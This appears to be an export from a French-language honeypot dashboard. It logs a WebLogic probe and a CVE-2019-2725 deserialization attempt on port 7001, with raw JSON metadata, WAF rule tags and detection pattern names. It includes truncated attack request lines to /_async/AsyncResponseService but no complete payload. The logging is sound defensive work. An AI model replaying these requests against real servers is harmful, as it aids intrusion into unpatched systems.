"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 80\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 80,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/_async\/AsyncResponseService",
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/_async\/AsyncResponseService",
"evidence_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"http_contenttype_attack_surface",
"http_jwt_body",
"http_ssrf_body",
"net_web_probe"
]
}
24/07/2026 09:39:05 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�"E�����r��v�,���5�6kH�hU��h+��3 �� ����ѓ��;�%�6�[5`K��" T!� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�"E�����r��v�,���5�6kH�hU��h+��3 ��
����ѓ��;�%�6�[5`K��" T!� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
�"E�����r��v�,���5�6kH�hU��h+��3 �� ����ѓ��;�%�6�[5`K��" T!� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.948695976852147,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "c67ea4e005f16c3c815ffab4e0e2bd70",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\"E\ufffd\ufffd\ufffd\ufffd\ufffdr\ufffd\ufffdv\ufffd,\ufffd\ufffd\ufffd5\ufffd6kH\ufffdhU\u0019\ufffd\ufffdh+\ufffd\ufffd3 \ufffd\ufffd\r\ufffd\u000e\ufffd\ufffd\ufffd\u0453\ufffd\ufffd;\ufffd%\ufffd6\ufffd\u0016[\u00025`K\ufffd\u0016\ufffd\"\u000bT!\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\"E\ufffd\ufffd\ufffd\ufffd\ufffdr\ufffd\ufffdv\ufffd,\ufffd\ufffd\ufffd5\ufffd6kH\ufffdhU\u0019\ufffd\ufffdh+\ufffd\ufffd3 \ufffd\ufffd\r\ufffd\u000e\ufffd\ufffd\ufffd\u0453\ufffd\ufffd;\ufffd%\ufffd6\ufffd\u0016[\u00025`K\ufffd\u0016\ufffd\"\u000bT!\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\"E\ufffd\ufffd\ufffd\ufffd\ufffdr\ufffd\ufffdv\ufffd,\ufffd\ufffd\ufffd5\ufffd6kH\ufffdhU\u0019\ufffd\ufffdh+\ufffd\ufffd3 \ufffd\ufffd\r\ufffd\u000e\ufffd\ufffd\ufffd\u0453\ufffd\ufffd;\ufffd%\ufffd6\ufffd\u0016[\u00025`K\ufffd\u0016\ufffd\"\u000bT!\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b09413ffd531b90d058539af5634c29277f303a8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\"E\ufffd\ufffd\ufffd\ufffd\ufffdr\ufffd\ufffdv\ufffd,\ufffd\ufffd\ufffd5\ufffd6kH\ufffdhU\u0019\ufffd\ufffdh+\ufffd\ufffd3 \ufffd\ufffd\r\ufffd\u000e\ufffd\ufffd\ufffd\u0453\ufffd\ufffd;\ufffd%\ufffd6\ufffd\u0016[\u00025`K\ufffd\u0016\ufffd\"\u000bT!\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\"E\ufffd\ufffd\ufffd\ufffd\ufffdr\ufffd\ufffdv\ufffd,\ufffd\ufffd\ufffd5\ufffd6kH\ufffdhU\ufffd\ufffdh+\ufffd\ufffd3 \ufffd\ufffd\r\ufffd\ufffd\ufffd\ufffd\u0453\ufffd\ufffd;\ufffd%\ufffd6\ufffd[5`K\ufffd\ufffd\"T!\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\"E\ufffd\ufffd\ufffd\ufffd\ufffdr\ufffd\ufffdv\ufffd,\ufffd\ufffd\ufffd5\ufffd6kH\ufffdhU\u0019\ufffd\ufffdh+\ufffd\ufffd3 \ufffd\ufffd\r\ufffd\u000e\ufffd\ufffd\ufffd\u0453\ufffd\ufffd;\ufffd%\ufffd6\ufffd\u0016[\u00025`K\ufffd\u0016\ufffd\"\u000bT!\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\"E\ufffd\ufffd\ufffd\ufffd\ufffdr\ufffd\ufffdv\ufffd,\ufffd\ufffd\ufffd5\ufffd6kH\ufffdhU\ufffd\ufffdh+\ufffd\ufffd3 \ufffd\ufffd\r\ufffd\ufffd\ufffd\ufffd\u0453\ufffd\ufffd;\ufffd%\ufffd6\ufffd[5`K\ufffd\ufffd\"T!\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:39:05 UTC
TCP
7001 · HTTP
Désérialisation
deser java attack · via HTTP:7001 · (tentative d'exploit) · → /_async/AsyncResponseService
Élevée
Élevé · 81
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /_async/AsyncResponseService UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
53
Recommandation
Investiguer
Tags
950079:sqli-19
950319:lfi-14
950326:rce-0
950327:rce-0
Cible HTTP
POST
/_async/AsyncResponseService
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/_async/AsyncResponseService
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
100%
Corrélation +8
Risque capteur
Élevé
· 81
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1 Signaux
pat-0179
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CVE-2019-2725 WebLogic CVE-2019-2725
Ligne de requête
POST /_async/AsyncResponseService HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
sqli-19
lfi-14
rce-0
ssrf-3
nosqli-3
Payload (extrait)
POST /_async/AsyncResponseService HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0
Requête brute (extrait)
POST /_async/AsyncResponseService HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type:text/xml Cookie:53237323d293130323d256673642424242478747e2473756474242424216 Conte
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "5f607796f47a9c4deebf8fbd05129012563f96fa",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 2820,
"payload_entropy": 4.885129427032023,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 87,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 7.2,
"risk_breakdown": {
"waf": 100,
"classification": 87,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 81,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "08e114ca7d0c70abb021ca884a234593093cbadd",
"event_fingerprint": "71c9d649a657c75fc8f876bf543423d1d6f54d4d",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 82,
"precision_signals": [
"pat-0179"
],
"kb_rule_ids": [
"pat-0179"
],
"matched_patterns": [
"pat-0179"
],
"matched_pattern_names": [
"CVE-2019-2725 WebLogic CVE-2019-2725"
],
"pattern_ids": [
"pat-0179"
],
"confidence_breakdown": {
"waf": 100,
"classification": 87,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 81,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "51cd6385b89bee8e46b33cbe1bb636a3",
"path_pattern_hash": "01bc2c025b7f327650e4a8ec8490febd"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 81
},
"payload_preview": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"method": "POST",
"path": "\/_async\/AsyncResponseService",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"request_sample": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nCookie:53237323d293130323d256673642424242478747e2473756474242424216\r\nConte",
"payload_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"evidence": {
"method": "POST",
"path": "\/_async\/AsyncResponseService",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"request_sample": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nCookie:53237323d293130323d256673642424242478747e2473756474242424216\r\nConte",
"payload_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f04fb22518854c7dd72e539980bb9a4261fc8d29",
"protocol_details": {
"http_method": "POST",
"http_path": "\/_async\/AsyncResponseService",
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"attack_vector": "deser java attack \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/_async\/AsyncResponseService",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 81\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 87,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 81,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 81,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0179"
],
"tags_summary_labels_fr": [
"pat-0179"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/_async\/AsyncResponseService",
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "deser java attack \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/_async\/AsyncResponseService",
"evidence_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
